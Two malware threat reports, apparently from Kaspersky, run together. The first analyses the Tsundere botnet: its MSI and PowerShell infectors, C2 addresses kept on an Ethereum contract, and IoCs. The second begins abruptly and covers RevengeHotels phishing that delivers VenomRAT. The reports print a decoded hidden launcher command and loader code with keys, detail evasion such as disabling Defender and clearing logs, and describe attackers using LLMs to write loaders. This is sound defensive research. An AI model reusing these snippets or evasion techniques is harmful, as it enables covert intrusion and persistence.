Introduction

Tsundere is a new botnet, discovered by our Kaspersky GReAT around mid-2025. We have correlated this threat with previous reports from October 2024 that reveal code similarities, as well as the use of the same C2 retrieval method and wallet. In that instance, the threat actor created malicious Node.js packages and used the Node Package Manager (npm) to deliver the payload. The packages were named similarly to popular packages, employing a technique known as typosquatting. The threat actor targeted libraries such as Puppeteer, Bignum.js, and various cryptocurrency packages, resulting in 287 identified malware packages. This supply chain attack affected Windows, Linux, and macOS users, but it was short-lived, as the packages were removed and the threat actor abandoned this infection method after being detected.

The threat actor resurfaced around July 2025 with a new threat. We have dubbed it the Tsundere bot after its C2 panel. This botnet is currently expanding and poses an active threat to Windows users.

Initial infection

Currently, there is no conclusive evidence on how the Tsundere bot implants are being spread. However, in one documented case, the implant was installed via a Remote Monitoring and Management (RMM) tool, which downloaded a file named pdf.msi from a compromised website. In other instances, the sample names suggest that the implants are being disseminated using the lure of popular Windows games, particularly first-person shooters. The samples found in the wild have names such as “valorant”, “cs2”, or “r6x”, which appear to be attempts to capitalize on the popularity of these games among piracy communities.

Malware implants

According to the C2 panel, there are two distinct formats for spreading the implant: via an MSI installer and via a PowerShell script. Implants are automatically generated by the C2 panel (as described in the Infrastructure section).

MSI installer

The MSI installer was often disguised as a fake installer for popular games and other software to lure new victims. Notably, at the time of our research, it had a very low detection rate.

The installer contains a list of data and JavaScript files that are updated with each new build, as well as the necessary Node.js executables to run these scripts. The following is a list of files included in the sample:

nodejs/B4jHWzJnlABB2B7
nodejs/UYE20NBBzyFhqAQ.js
nodejs/79juqlY2mETeQOc
nodejs/thoJahgqObmWWA2
nodejs/node.exe
nodejs/npm.cmd
nodejs/npx.cmd

The last three files in the list are legitimate Node.js files. They are installed alongside the malicious artifacts in the user’s AppData\Local\nodejs directory.

An examination of the CustomAction table reveals the process by which Windows Installer executes the malware and installs the Tsundere bot:

RunModulesSetup 1058    NodeDir powershell -WindowStyle Hidden -NoLogo -enc JABuAG[...]ACkAOwAiAA==

After Base64 decoding, the command appears as follows:

$nodePath = "$env:LOCALAPPDATA\nodejs\node.exe";
& $nodePath  - e "const { spawn } = require('child_process'); spawn(process.env.LOCALAPPDATA + '\\nodejs\\node.exe', ['B4jHWzJnlABB2B7'], { detached: true, stdio: 'ignore', windowsHide: true, cwd: __dirname }).unref();"

This will execute Node.js code that spawns a new Node.js process, which runs the loader JavaScript code (in this case, B4jHWzJnlABB2B7). The resulting child process runs in the background, remaining hidden from the user.

Loader script

The loader script is responsible for ensuring the correct decryption and execution of the main bot script, which handles npm unpackaging and configuration. Although the loader code, similar to the code for the other JavaScript files, is obfuscated, it can be deobfuscated using open-source tools. Once executed, the loader attempts to locate the unpackaging script and configuration for the Tsundere bot, decrypts them using the AES-256 CBC cryptographic algorithm with a build-specific key and IV, and saves the decrypted files under different filenames.

encScriptPath = 'thoJahgqObmWWA2',
  encConfigPath = '79juqlY2mETeQOc',
  decScript = 'uB39hFJ6YS8L2Fd',
  decConfig = '9s9IxB5AbDj4Pmw',
  keyBase64 = '2l+jfiPEJufKA1bmMTesfxcBmQwFmmamIGM0b4YfkPQ=',
  ivBase64 = 'NxrqwWI+zQB+XL4+I/042A==',
[...]
    const h = path.dirname(encScriptPath),
      i = path.join(h, decScript),
      j = path.join(h, decConfig)
    decryptFile(encScriptPath, i, key, iv)
    decryptFile(encConfigPath, j, key, iv)

The configuration file is a JSON that defines a directory and file structure, as well as file contents, which the malware will recreate. The malware author refers to this file as “config”, but its primary purpose is to package and deploy the Node.js package manager (npm) without requiring manual installation or downloading. The unpackaging script is responsible for recreating this structure, including the node_modules directory with all its libraries, which contains packages necessary for the malware to run.

With the environment now set up, the malware proceeds to install three packages to the node_modules directory using npm:

• ws: a WebSocket networking library
• ethers: a library for communicating with Ethereum
• pm2: a Node.js process management tool

The pm2 package is installed to ensure the Tsundere bot remains active and used to launch the bot. Additionally, pm2 helps achieve persistence on the system by writing to the registry and configuring itself to restart the process upon login.

PowerShell infector

The PowerShell version of the infector operates in a more compact and simplified manner. Instead of utilizing a configuration file and an unpacker — as done with the MSI installer — it downloads the ZIP file node-v18.17.0-win-x64.zip from the official Node.js website nodejs[.]org and extracts it to the AppData\Local\NodeJS directory, ultimately deploying Node.js on the targeted device. The infector then uses the AES-256-CBC algorithm to decrypt two large hexadecimal-encoded variables, which correspond to the bot script and a persistence script. These decrypted files, along with a package.json file are written to the disk. The package.json file contains information about the malicious Node.js package, as well as the necessary libraries to be installed, including the ws and ethers packages. Finally, the infector runs both scripts, starting with the persistence script that is followed by the bot script.

Persistence is achieved through the same mechanism observed in the MSI installer: the script creates a value in the HKCU:\Software\Microsoft\Windows\CurrentVersion\Run registry key that points to itself. It then overwrites itself with a new script that is Base64 decoded. This new script is responsible for ensuring the bot is executed on each login by spawning a new instance of the bot.

Tsundere bot

We will now delve into the Tsundere bot, examining its communication with the command-and-control (C2) server and its primary functionality.

C2 address retrieval

Web3 contracts, also known as smart contracts, are deployed on a blockchain via transactions from a wallet. These contracts can store data in variables, which can be modified by functions defined within the contract. In this case, the Tsundere botnet utilizes the Ethereum blockchain, where a method named setString(string _str) is defined to modify the state variable param1, allowing it to store a string. The string stored in param1 is used by the Tsundere botnet administrators to store new WebSocket C2 servers, which can be rotated at will and are immutable once written to the Ethereum blockchain.

The Tsundere botnet relies on two constant points of reference on the Ethereum blockchain:

• Wallet: 0x73625B6cdFECC81A4899D221C732E1f73e504a32
• Contract: 0xa1b40044EBc2794f207D45143Bd82a1B86156c6b

In order to change the C2 server, the Tsundere botnet makes a transaction to update the state variable with a new address. Below is a transaction made on August 19, 2025, with a value of 0 ETH, which updates the address.

The state variable has a fixed length of 32 bytes, and a string of 24 bytes (see item [2] in the previous image) is stored within it. When this string is converted from hexadecimal to ASCII, it reveals the new WebSocket C2 server address: ws[:]//185.28.119[.]179:1234.

To obtain the C2 address, the bot contacts various public endpoints that provide remote procedure call (RPC) APIs, allowing them to interact with Ethereum blockchain nodes. At the start of the script, the bot calls a function named fetchAndUpdateIP, which iterates through a list of RPC providers. For each provider, it checks the transactions associated with the contract address and wallet owner, and then retrieves the string from the state variable containing the WebSocket address, as previously observed.

The Tsundere bot verifies that the C2 address starts with either ws:// or wss:// to ensure it is a valid WebSocket URL, and then sets the obtained string as the server URL. But before using this new URL, the bot first checks the system locale by retrieving the culture name of the machine to avoid infecting systems in the CIS region. If the system is not in the CIS region, the bot establishes a connection to the server via a WebSocket, setting up the necessary handlers for receiving, sending, and managing connection states, such as errors and closed sockets.

Communication

The communication flow between the client (Tsundere bot) and the server (WebSocket C2) is as follows:

1. The Tsundere bot establishes a WebSocket connection with the retrieved C2 address.
2. An AES key is transmitted immediately after the connection is established.
3. The bot sends an empty string to confirm receipt of the key.
4. The server then sends an IV, enabling the use of encrypted communication from that point on.
   Encryption is required for all subsequent communication.
5. The bot transmits the OS information of the infected machine, including the MAC address, total memory, GPU information, and other details. This information is also used to generate a unique identifier (UUID).
6. The C2 server responds with a JSON object, acknowledging the connection and confirming the bot’s presence.
7. With the connection established, the client and server can exchange information freely.
   1. To maintain the connection, keep-alive messages are sent every minute using ping/pong messages.
   2. The bot sends encrypted responses as part of the ping/pong messages, ensuring continuous communication.

The connections are not authenticated through any additional means, making it possible for a fake client to establish a connection.

As previously mentioned, the client sends an encrypted ping message to the C2 server every minute, which returns a pong message. This ping-pong exchange serves as a mechanism for the C2 panel to maintain a list of currently active bots.

Functionality

The Tsundere bot is designed to allow the C2 server to send dynamic JavaScript code. When the C2 server sends a message with ID=1 to the bot, the message is evaluated as a new function and then executed. The result of this operation is sent back to the server via a custom function named serverSend, which is responsible for transmitting the result as a JSON object, encrypted for secure communication.

The ability to evaluate code makes the Tsundere bot relatively simple, but it also provides flexibility and dynamism, allowing the botnet administrators to adapt it to a wide range of actions.

However, during our observation period, we did not receive any commands or functions from the C2 server, possibly because the newly connected bot needed to be requested by other threat actors through the botnet panel before it could be utilized.

Infrastructure

The Tsundere bot utilizes WebSocket as its primary protocol for establishing connections with the C2 server. As mentioned earlier, at the time of writing, the malware was communicating with the WebSocket server located at 185.28.119[.]179, and our tests indicated that it was responding positively to bot connections.

The following table lists the IP addresses and ports extracted from the provided list of URLs:

IP	Port	First seen (contract update)	ASN
185.28.119[.]179	1234	2025-08-19	AS62005
196.251.72[.]192	1234	2025-08-03	AS401120
103.246.145[.]201	1234	2025-07-14	AS211381
193.24.123[.]68	3011	2025-06-21	AS200593
62.60.226[.]179	3001	2025-05-04	AS214351

Marketplace and control panel

No business is complete without a marketplace, and similarly, no botnet is complete without a control panel. The Tsundere botnet has both a marketplace and a control panel, which are integrated into the same frontend.

The notable aspect of Tsundere’s control panel, dubbed “Tsundere Netto” (version 2.4.4), is that it has an open registration system. Any user who accesses the login form can register and gain access to the panel, which features various tabs:

• Bots: a dashboard displaying the number of bots under the user’s control
• Settings: user settings and administrative functions
• Build: if the user has an active license, they can create new bots using the two previously mentioned methodologies (MSI or PowerShell)
• Market: this is the most interesting aspect of the panel, as it allows users to promote their individual bots and offer various services and functionalities to other threat actors. Each build can create a bot that performs a specific set of actions, which can then be offered to others
• Monero wallet: a wallet service that enables users to make deposits or withdrawals
• Socks proxy: a feature that allows users to utilize their bots as proxies for their traffic

Each build generates a unique build ID, which is embedded in the implant and sent to the C2 server upon infection. This build ID can be linked to the user who created it. According to our research and analysis of other URLs found in the wild, builds are created through the panel and can be downloaded via the URL:

hxxps://idk.1f2e[REDACTED]07a4[.]net/api/builds/{BUILD-ID}.msi.

At the time of writing this, the panel typically has between 90 and 115 bots connected to the C2 server at any given time.

Attribution

Based on the text found in the implants, we can conclude with high confidence that the threat actor behind the Tsundere botnet is likely Russian-speaking. The use of the Russian language in the implants is consistent with previous attacks attributed to the same threat actor.

Furthermore, our analysis suggests a connection between the Tsundere botnet and the 123 Stealer, a C++-based stealer available on the shadow market for $120 per month. This connection is based on the fact that both panels share the same server. Notably, the main domain serves as the frontend for the 123 Stealer panel, while the subdomain “idk.” is used for the Tsundere botnet panel.

By examining the available evidence, we can link both threats to a Russian-speaking threat actor known as “koneko”. Koneko was previously active on a dark web forum, where they promoted the 123 Stealer, as well as other malware, including a backdoor. Although our analysis of the backdoor revealed that it was not directly related to Tsundere, it shared similarities with the Tsundere botnet in that it was written in Node.js and used PowerShell or MSI as infectors. Before the dark web forum was seized and shut down, koneko’s profile featured the title “node malware senior”, further suggesting their expertise in Node.js-based malware.

Conclusion

The Tsundere botnet represents a renewed effort by a presumably identified threat actor to revamp their toolset. The Node.js-based bot is an evolution of an attack discovered in October of last year, and it now features a new strategy and even a new business model. Infections can occur through MSI and PowerShell files, which provides flexibility in terms of disguising installers, using phishing as a point of entry, or integrating with other attack mechanisms, making it an even more formidable threat.

Additionally, the botnet leverages a technique that is gaining popularity: utilizing web3 contracts, also known as “smart contracts”, to host command-and-control (C2) addresses, which enhances the resilience of the botnet infrastructure. The botnet’s possible author, koneko, is also involved in peddling other threats, such as the 123 Stealer, which suggests that the threat is likely to escalate rather than diminish in the coming months. As a result, it is essential to closely monitor this threat and be vigilant for related threats that may emerge in the near future.

Indicators of compromise

More IoCs related to this threat are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

File hashes
235A93C7A4B79135E4D3C220F9313421
760B026EDFE2546798CDC136D0A33834
7E70530BE2BFFCFADEC74DE6DC282357
5CC5381A1B4AC275D221ECC57B85F7C3
AD885646DAEE05159902F32499713008
A7ED440BB7114FAD21ABFA2D4E3790A0
7CF2FD60B6368FBAC5517787AB798EA2
E64527A9FF2CAF0C2D90E2238262B59A
31231FD3F3A88A27B37EC9A23E92EBBC
FFBDE4340FC156089F968A3BD5AA7A57
E7AF0705BA1EE2B6FBF5E619C3B2747E
BFD7642671A5788722D74D62D8647DF9
8D504BA5A434F392CC05EBE0ED42B586
87CE512032A5D1422399566ECE5E24CF
B06845C9586DCC27EDBE387EAAE8853F
DB06453806DACAFDC7135F3B0DEA4A8F

File paths
%APPDATA%\Local\NodeJS

Domains and IPs
ws://185.28.119[.]179:1234
ws://196.251.72[.]192:1234
ws://103.246.145[.]201:1234
ws://193.24.123[.]68:3011
ws://62.60.226[.]179:3001

Cryptocurrency wallets
Note: These are wallets that have changed the C2 address in the smart contract since it was created.
0x73625B6cdFECC81A4899D221C732E1f73e504a32
0x10ca9bE67D03917e9938a7c28601663B191E4413
0xEc99D2C797Db6E0eBD664128EfED9265fBE54579
0xf11Cb0578EA61e2EDB8a4a12c02E3eF26E80fc36
0xdb8e8B0ef3ea1105A6D84b27Fc0bAA9845C66FD7
0x10ca9bE67D03917e9938a7c28601663B191E4413
0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84
0x46b0f9bA6F1fb89eb80347c92c9e91BDF1b9E8CC

Background

RevengeHotels, also known as TA558, is a threat group that has been active since 2015, stealing credit card data from hotel guests and travelers. RevengeHotels’ modus operandi involves sending emails with phishing links which redirect victims to websites mimicking document storage. These sites, in turn, download script files to ultimately infect the targeted machines. The final payloads consist of various remote access Trojan (RAT) implants, which enable the threat actor to issue commands for controlling compromised systems, stealing sensitive data, and maintaining persistence, among other malicious activities.

In previous campaigns, the group was observed using malicious emails with Word, Excel, or PDF documents attached. Some of them exploited the CVE-2017-0199 vulnerability, loading Visual Basic Scripting (VBS), or PowerShell scripts to install customized versions of different RAT families, such as RevengeRAT, NanoCoreRAT, NjRAT, 888 RAT, and custom malware named ProCC. These campaigns affected hotels in multiple countries across Latin America, including Brazil, Argentina, Chile, and Mexico, but also hotel front-desks globally, particularly in Russia, Belarus, Turkey, and so on.

Later, this threat group expanded its arsenal by adding XWorm, a RAT with commands for control, data theft, and persistence, amongst other things. While investigating the campaign that distributed XWorm, we identified high-confidence indicators that RevengeHotels also used the RAT tool named DesckVBRAT in their operations.

In the summer of 2025, we observed new campaigns targeting the same sector and featuring increasingly sophisticated implants and tools. The threat actors continue to employ phishing emails with invoice themes to deliver VenomRAT implants via JavaScript loaders and PowerShell downloaders. A significant portion of the initial infector and downloader code in this campaign appears to be generated by large language model (LLM) agents. This suggests that the threat actor is now leveraging AI to evolve its capabilities, a trend also reported among other cybercriminal groups.

The primary targets of these campaigns are Brazilian hotels, although we have also observed attacks directed at Spanish-speaking markets. Through a comprehensive analysis of the attack patterns and the threat actor’s modus operandi, we have established with high confidence that the responsible actor is indeed RevengeHotels. The consistency of the tactics, techniques, and procedures (TTPs) employed in these attacks aligns with the known behavior of RevengeHotels. The infrastructure used for payload delivery relies on legitimate hosting services, often utilizing Portuguese-themed domain names.

Initial infection

The primary attack vector employed by RevengeHotels is phishing emails with invoicing themes, which urge the recipient to settle overdue payments. These emails are specifically targeted at email addresses associated with hotel reservations. While Portuguese is a common language used in these phishing emails, we have also discovered instances of Spanish-language phishing emails, indicating that the threat actor’s scope extends beyond Brazilian hospitality establishments and may include targets in Spanish-speaking countries or regions.

In recent instances of these attacks, the themes have shifted from hotel reservations to fake job applications, where attackers sent résumés in an attempt to exploit potential job opportunities at the targeted hotels.

Malicious implant

The malicious websites, which change with each email, download a WScript JS file upon being visited, triggering the infection process. The filename of the JS file changes with every request. In the case at hand, we analyzed Fat146571.js (fbadfff7b61d820e3632a2f464079e8c), which follows the format Fat\{NUMBER\}.js, where “Fat” is the beginning of the Portuguese word “fatura”, meaning “invoice”.

The script appears to be generated by a large language model (LLM), as evidenced by its heavily commented code and a format similar to those produced by this type of technology. The primary function of the script is to load subsequent scripts that facilitate the infection.

A significant portion of the new generation of initial infectors created by RevengeHotels contains code that seems to have been generated by AI. These LLM-generated code segments can be distinguished from the original malicious code by several characteristics, including:

• The cleanliness and organization of the code
• Placeholders, which allow the threat actor to insert their own variables or content
• Detailed comments that accompany almost every action within the code
• A notable lack of obfuscation, which sets these LLM-generated sections apart from the rest of the code

Second loading step

Upon execution, the loader script, Fat\{NUMBER\}.js, decodes an obfuscated and encoded buffer, which serves as the next step in loading the remaining malicious implants. This buffer is then saved to a PowerShell (PS1) file named SGDoHBZQWpLKXCAoTHXdBGlnQJLZCGBOVGLH_{TIMESTAMP}.ps1 (d5f241dee73cffe51897c15f36b713cc), where “\{TIMESTAMP\}” is a generated number based on the current execution date and time. This ensures that the filename changes with each infection and is not persistent. Once the script is saved, it is executed three times, after which the loader script exits.

The script SGDoHBZQWpLKXCAoTHXdBGlnQJLZCGBOVGLH_{TIMESTAMP}.ps1 runs a PowerShell command with Base64-encoded code. This code retrieves the cargajecerrr.txt (b1a5dc66f40a38d807ec8350ae89d1e4) file from a remote malicious server and invokes it as PowerShell.

This downloader, which is lightly obfuscated, is responsible for fetching the remaining files from the malicious server and loading them. Both downloaded files are Base64-encoded and have descriptive names: venumentrada.txt (607f64b56bb3b94ee0009471f1fe9a3c), which can be interpreted as “VenomRAT entry point”, and runpe.txt (dbf5afa377e3e761622e5f21af1f09e6), which is named after a malicious tool for in-memory execution. The first file, venumentrada.txt, is a heavily obfuscated loader (MD5 of the decoded file: 91454a68ca3a6ce7cb30c9264a88c0dc) that ensures the second file, a VenomRAT implant (3ac65326f598ee9930031c17ce158d3d), is correctly executed in memory.

The malicious code also exhibits characteristics consistent with generation by an AI interface, including a coherent code structure, detailed commenting, and explicit variable naming. Moreover, it differs significantly from previous samples, which had a structurally different, more obfuscated nature and lacked comments.

Exploring VenomRAT

VenomRAT, an evolution of the open-source QuasarRAT, was first discovered in mid-2020 and is offered on the dark web, with a lifetime license costing up to $650. Although the source code of VenomRAT was leaked, it is still being sold and used by threat actors.

According to the vendor’s website, VenomRAT offers a range of capabilities that build upon and expand those of QuasarRAT, including HVNC hidden desktop, file grabber and stealer, reverse proxy, and UAC exploit, amongst others.

As with other RATs, VenomRAT clients are generated with custom configurations. The configuration data within the implant (similar to QuasarRAT) is encrypted using AES and PKCS #5 v2.0, with two keys employed: one for decrypting the data and another for verifying its authenticity using HMAC-SHA256. Throughout the malware code, different sets of keys and initialization vectors are used sporadically, but they consistently implement the same AES algorithm.

Anti-kill

It is notable that VenomRAT features an anti-kill protection mechanism, which can be enabled by the threat actor upon execution. Initially, the RAT calls a function named EnableProtection, which retrieves the security descriptor of the malicious process and modifies the Discretionary Access Control List (DACL) to remove any permissions that could hinder the RAT’s proper functioning or shorten its lifespan on the system.

The second component of this anti-kill measure involves a thread that runs a continuous loop, checking the list of running processes every 50 milliseconds. The loop specifically targets those processes commonly used by security analysts and system administrators to monitor host activity or analyze .NET binaries, among other tasks. If the RAT detects any of these processes, it will terminate them without prompting the user.

The anti-kill measure also involves persistence, which is achieved through two mechanisms written into a VBS file generated and executed by VenomRAT. These mechanisms ensure the malware’s continued presence on the system:

1. Windows Registry: The script creates a new key under HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce, pointing to the executable path. This allows the malware to persist across user sessions.
2. Process: The script runs a loop that checks for the presence of the malware process in the process list. If it is not found, the script executes the malware again.

If the user who executed the malware has administrator privileges, the malware takes additional steps to ensure its persistence. It sets the SeDebugPrivilege token, enabling it to use the RtlSetProcessIsCritical function to mark itself as a critical system process. This makes the process “essential” to the system, allowing it to persist even when termination is attempted. However, when the administrator logs off or the computer is about to shut down, VenomRAT removes its critical mark to permit the system to proceed with these actions.

As a final measure to maintain persistence, the RAT calls the SetThreadExecutionState function with a set of flags that forces the display to remain on and the system to stay in a working state. This prevents the system from entering sleep mode.

Separately from the anti-kill methods, the malware also includes a protection mechanism against Windows Defender. In this case, the RAT actively searches for MSASCui.exe in the process list and terminates it. The malware then modifies the task scheduler and registry to disable Windows Defender globally, along with its various features.

Networking

VenomRAT employs a custom packet building and serialization mechanism for its networking connection to the C2 server. Each packet is tailored to a specific action taken by the RAT, with a dedicated packet handler for each action. The packets transmitted to the C2 server undergo a multi-step process:

1. The packet is first serialized to prepare it for transmission.
2. The serialized packet is then compressed using LZMA compression to reduce its size.
3. The compressed packet is encrypted using AES-128 encryption, utilizing the same key and authentication key mentioned earlier.

Upon receiving packets from the C2 server, VenomRAT reverses this process to decrypt and extract the contents.

Additionally, VenomRAT implements tunneling by installing ngrok on the infected computer. The C2 server specifies the token, protocol, and port for the tunnel, which are sent in the serialized packet. This allows remote control services like RDP and VNC to operate through the tunnel and to be exposed to the internet.

USB spreading

VenomRAT also possesses the capability to spread via USB drives. To achieve this, it scans drive letters from C to M and checks if each drive is removable. If a removable drive is detected, the RAT copies itself to all available drives under the name My Pictures.exe.

Extra stealth steps

In addition to copying itself to another directory and changing its executable name, VenomRAT employs several stealth techniques that distinguish it from QuasarRAT. Two notable examples include:

• Deletion of Zone.Identifier streams: VenomRAT deletes the Mark of the Web streams, which contain metadata about the URL from which the executable was downloaded. By removing this information, the RAT can evade detection by security tools like Windows Defender and avoid being quarantined, while also eliminating its digital footprint.
• Clearing Windows event logs: The malware clears all Windows event logs on the compromised system, effectively creating a “clean slate” for its operations. This action ensures that any events generated during the RAT’s execution are erased, making it more challenging for security analysts to detect and track its activities.

Victimology

The primary targets of RevengeHotels attacks continue to be hotels and front desks, with a focus on establishments located in Brazil. However, the threat actors have been adapting their tactics, and phishing emails are now being sent in languages other than Portuguese. Specifically, we’ve observed that emails in Spanish are being used to target hotels and tourism companies in Spanish-speaking countries, indicating a potential expansion of the threat actor’s scope. Note that among earlier victims of this threat are such Spanish-speaking countries as Argentina, Bolivia, Chile, Costa Rica, Mexico, and Spain.

It is important to point out that previously reported campaigns have mentioned the threat actor targeting hotel front desks globally, particularly in Russia, Belarus, and Turkey, although no such activity has yet been detected during the latest RevengeHotels campaign.

Conclusions

RevengeHotels has significantly enhanced its capabilities, developing new tactics to target the hospitality and tourism sectors. With the assistance of LLM agents, the group has been able to generate and modify their phishing lures, expanding their attacks to new regions. The websites used for these attacks are constantly rotating, and the initial payloads are continually changing, but the ultimate objective remains the same: to deploy a remote access Trojan (RAT). In this case, the RAT in question is VenomRAT, a privately developed variant of the open-source QuasarRAT.

Kaspersky products detect these threats as HEUR:Trojan-Downloader.Script.Agent.gen, HEUR:Trojan.Win32.Generic, HEUR:Trojan.MSIL.Agent.gen, Trojan-Downloader.PowerShell.Agent.ady, Trojan.PowerShell.Agent.aqx.

Indicators of compromise

fbadfff7b61d820e3632a2f464079e8c Fat146571.js
d5f241dee73cffe51897c15f36b713cc SGDoHBZQWpLKXCAoTHXdBGlnQJLZCGBOVGLH_{TIMESTAMP}.ps1
1077ea936033ee9e9bf444dafb55867c cargajecerrr.txt
b1a5dc66f40a38d807ec8350ae89d1e4 cargajecerrr.txt
dbf5afa377e3e761622e5f21af1f09e6 runpe.txt
607f64b56bb3b94ee0009471f1fe9a3c venumentrada.txt
3ac65326f598ee9930031c17ce158d3d deobfuscated runpe.txt
91454a68ca3a6ce7cb30c9264a88c0dc deobfuscated venumentrada.txt